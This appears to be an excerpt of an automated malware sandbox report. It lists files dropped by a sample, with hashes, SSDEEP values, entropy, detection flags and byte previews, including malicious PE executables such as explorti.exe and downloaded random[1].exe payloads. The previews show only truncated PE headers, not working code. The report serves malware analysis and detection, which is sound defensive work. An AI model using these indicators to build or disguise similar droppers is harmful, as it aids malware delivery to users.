SHA-256:	CD5BAA64F63249795267F01DE1AFC7B5D083B1E6BA185BE6741256A96C3D010F
SHA-512:	76F1C7F7B452AC2B63A9A39716EE1D3502ACDF1C68ED82BBFE79F477E4533489E9DFBEF5F32C1D128F85C52DBD2BEADA062D38B8ABAB83140F139230F99DD515
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d79eff26-56e7-4c59-85bb-4f3a433f94a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	68738
Entropy (8bit):	6.080103502175541
Encrypted:	false
SSDEEP:	1536:ZMGQ5XMBGnaf8dP0SSlXInwTZdurFWaoRUexxkJiLIhzDN:ZMrJM8akdP0SkXInqdubKL6MIhzDN
MD5:	FD608196885FAEA28BDA6C82A156831B
SHA1:	753AF8EBCB5CA7C54C2CA6E8602A1481CA404BC3
SHA-256:	9975AE8497688D965BBD742EBF87799FDDC0DFE0FA3D360CC932BCBBC3EC28FB
SHA-512:	DF004AF50AE12870AC83CD9C698D1F0EE73987ACDFE38A92D9EC3C500EEE641594693C43682CF51ED07ACB547859A6F163765EC3A8B68A6372608F01ED60A627
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625309860435","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dc4935e0-a2be-42a6-9e38-bf96ded92054.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	48674
Entropy (8bit):	6.08201324082691
Encrypted:	false
SSDEEP:	768:ZMGQ7FCYXGIgtDAWtJ4nEGyBaM478AvkVP+7SSBfX5SnwTifAF2LhzzDRh02tdl:ZMGQ5XMBGOaf8dP0SSlXInwTZMhz7N
MD5:	703A470D8359D81E67F586925B09CE79
SHA1:	A73FE3F2F65446C48096D38031C6EDDD266D77D9
SHA-256:	008714BEB5F97DCF37C29D46655CBF2EEEDF5508AC0A2CED6A594A2375DF8123
SHA-512:	6E76DDD92E58F13CFEB58D844EA954F1781F05A0E92DB087BF18BB20A09A36CFB6093A2351F9840782E9FC9A06A1B6B5058AFA205126DC58241F0889FC757F8F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625309860435","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e8b6f666-11f1-49f9-bd25-4009514e2024.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27027
Entropy (8bit):	6.042877794908005
Encrypted:	false
SSDEEP:	768:ZMGQ7FCYXGIgtDAWtJ4nEGygLhzzD0h02tdl:ZMGQ5XMBGDhzIN
MD5:	140D58185A603DBF419A6E2CABE22AE0
SHA1:	70B01AC021C3F5B74E895A472DAB31035088A1D4
SHA-256:	2D2FDB516E6917C5C31743DFB6604F02F0C9758A79B613C3AF7D794348225FFB
SHA-512:	C63737E6CAD2991EF7624D772A3F2C6F1FBF3F3D753767E686C0710B5D173F4CDA87EE22C68D5249414AC65BBC03E70A7BFF845C015C16F885CBA89282235479
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625309860435","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ec2f577b-f0fe-428d-b2d0-d38e0793c71f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	68738
Entropy (8bit):	6.080103149027492
Encrypted:	false
SSDEEP:	1536:ZMGQ5XMBGOaf8dP0SSlXInwTZdurFWaoRUexxkJiLIhzDN:ZMrJM8vkdP0SkXInqdubKL6MIhzDN
MD5:	C45C91D8259B9027F214206B67868294
SHA1:	43165DE53150FDD327686DBF718B42935477F6E3
SHA-256:	57596AAEB1A0B03480DC9102D17135D9E234E6B49E8E225ED23EF45FE5C9F373
SHA-512:	78D56BB4F34B445FA86C3AEF9069FE4AB2046B36C4977A5F04206843E33351EC61976AC503FDBEC22DAF17A79784AE2829B25E575D153FEFF627447B1108E2C1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625309860435","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f0d89526-6a3a-435f-9358-0c2406640fa3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22019
Entropy (8bit):	6.058557347249928
Encrypted:	false
SSDEEP:	384:TtMGQ7LBjuYXGIgtDAW5u0TDJ2q03XsNw+G1hpKZ+Mh0lkdHd5qC:ZMGQ7FCYXGIgtDAWtJ4nDhpKNh02tdl
MD5:	114E56CC9AC2B3DE756C3602088D42F9
SHA1:	C1C9B58D9FD77C7F241546E6C14345FE37B735E6
SHA-256:	33D69F50A8F437240C5048BC39C5FB13094E460862AADC54545B58894FF8F6C9
SHA-512:	4E50E906D646B2E1445D962227B212CBF540E20DF5FBA5F71337CD5CAD8281F263658893C4CA71ED5E3E4C4C64244F7CC221D28828EE3C01B10F50EE623D882E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625309860435","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.849425933797633
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxFixl9Il8uo4gU0mp2Nd54ggyvZc0K1oxIoxnU+d1rc:mumYu4gU0s2Nd54NKZcBoxIoxnUV
MD5:	A4F32539EAB660339B29F39FDF4DBB45
SHA1:	F0CD42FD0FC5966E0973AFE11D6C03F853A7BA27
SHA-256:	C6080962082CD3364EC150829085629C52FACC740EB1B2706EC3C05BC2C7B5F2
SHA-512:	D85B05E8F6D5B59216D0C8A8576067CF5A993F325F49E8D2F58BCD383DDAB7C5D189D81D9EBABC07194A6305C9E5E9C14FC4497AB5E6B4995837E7347614E4DA
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.L.A./.A.x.H.8.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.c.v.W.E.O.y.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9958995433656512
Encrypted:	false
SSDEEP:	96:oYu4L03qZ0cfljw6PkrlGWfcaQ8WgLmrkb:obP6achAwadLmgb
MD5:	FB64E384AD4F7508BCC93B2CDD675D67
SHA1:	8568CD2C9CF95F083515AB0DE0D205145755C788
SHA-256:	D36F1410C9BEBA4C97B838553A40CEE0A650665484C65D087CCE59CAA1F9AE4F
SHA-512:	7F433D4052DC3E9196DEBCA313BD8FE693D92B00F8AA4BDC6A2D9D0CFBECB2433479C401545F742835727C3819140CCC07E7BC4AF35BCB262A3C23C3C8C654CE
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".8.p.1.L.6.Q.j.8.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.c.v.W.E.O.y.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1790976
Entropy (8bit):	7.945016301960948
Encrypted:	false
SSDEEP:	49152:EDX1MwDuFp+U5Sbi1cvMkg0X8C9d5PBXiClNM8GDb:EDXcFpcbi1idrHG
MD5:	4847D6885ADC7EA78FDF9918C384CECB
SHA1:	9EB0CE983F5A81300F18331B4899E03692FEA6EF
SHA-256:	2954DEC8276AF3D7C60154C2AFB2AE360D696C6A90EB779FD9E380848C6FD8CC
SHA-512:	E9B4D83425344B7137477105EE474C114F098D6C6E41D7BDFB47FB5902E32BA5C91AE9B9A3629DBAD0CE4151BBF9D880C80DBFD5002D77DA9AD88E8AA67F41FE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B"...... h...........@..........................Ph...........@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... .0*...$......N..............@...fgtetwml.....0N......P..............@...kzhupcow......h.....................@....taggant.0... h.."...2..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	917504
Entropy (8bit):	6.579723963633275
Encrypted:	false
SSDEEP:	12288:HqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgacTE:HqDEvCTbMWu7rQYlBQcBiT6rprG8asE
MD5:	DC07DF13058EC69D92FADD3FB1CFF581
SHA1:	36E7B78E1FF3616040D0A3B8A52BF3423F3CCB38
SHA-256:	E49BDC65DCDC1010F3B8984F5BA4F471B2EE71938C7395B6F56CA9D76E6718B9
SHA-512:	AB4643A114C5DB9E7859A12A18F0A7D1112740B2311D62A0B4B4DDCDB4E90A2E283DEEC6FD80573037FE809F1FC6FEEF56098F659DA2784C9ABE2C11A2FA3C55
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....f.........."..........P......w.............@..........................`......`.....@...@.......@.....................d...\|....@..........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc.......@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1925120
Entropy (8bit):	7.947253079431191
Encrypted:	false
SSDEEP:	49152:sy1O7CA3/NWW/p/nVMoxmMlyY9LciHYfY9Zdy:ICA3oiqWfyY9w58u
MD5:	98BA9C78DEC3F0C8100BF1ED10395D72
SHA1:	6A72B2701F52A50301A51FFEA7A5815261918ED1
SHA-256:	984CC4C8DF4940B8246B8C8394616C4B7E6EBF2FA568723B091A86BD851EA032
SHA-512:	2C04FE6F2DAAEEE238364E28436445A8ABC0A360D08FB048C53D51E04769E59168C7A167885C53E655760790C81F696F8DF167C861A21D3F6DD2A7BF21B5FBE5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................L...........@..........................@L...........@.................................W...k.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...nyeytjol.P....1..F..................@...gedkwpmr......L......8..............@....taggant.0....L.."...>..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	917504
Entropy (8bit):	6.579723963633275
Encrypted:	false
SSDEEP:	12288:HqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgacTE:HqDEvCTbMWu7rQYlBQcBiT6rprG8asE
MD5:	DC07DF13058EC69D92FADD3FB1CFF581
SHA1:	36E7B78E1FF3616040D0A3B8A52BF3423F3CCB38
SHA-256:	E49BDC65DCDC1010F3B8984F5BA4F471B2EE71938C7395B6F56CA9D76E6718B9
SHA-512:	AB4643A114C5DB9E7859A12A18F0A7D1112740B2311D62A0B4B4DDCDB4E90A2E283DEEC6FD80573037FE809F1FC6FEEF56098F659DA2784C9ABE2C11A2FA3C55
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....f.........."..........P......w.............@..........................`......`.....@...@.......@.....................d...\|....@..........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc.......@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\744931f4-93c9-45be-a95c-a7d654cd7add.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\8f0ffd80-caae-46e8-89bf-5622c36289f0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135751
Entropy (8bit):	7.804610863392373
Encrypted:	false
SSDEEP:	1536:h+OX7O5AeBWdSq2Zso2iDNjF3dNUPOTy61NVo8OJXhQXXUWFMOiiBIHWI7YyjM/8:pVdSj9hjVn6Oj5fOJR+k0iiW2IPMaIul
MD5:	83EF25FBEE6866A64F09323BFE1536E0
SHA1:	24E8BD033CD15E3CF4F4FF4C8123E1868544AC65
SHA-256:	F421D74829F2923FD9E5A06153E4E42DB011824C33475E564B17091598996E6F
SHA-512:	C699D1C9649977731EEA0CB4740C4BEAACEEC82AECC43F9F2B1E5625C487C0BC45FA08A1152A35EFBDB3DB73B8AF3625206315D1F9645A24E1969316F9F5B38C
Malicious:	false
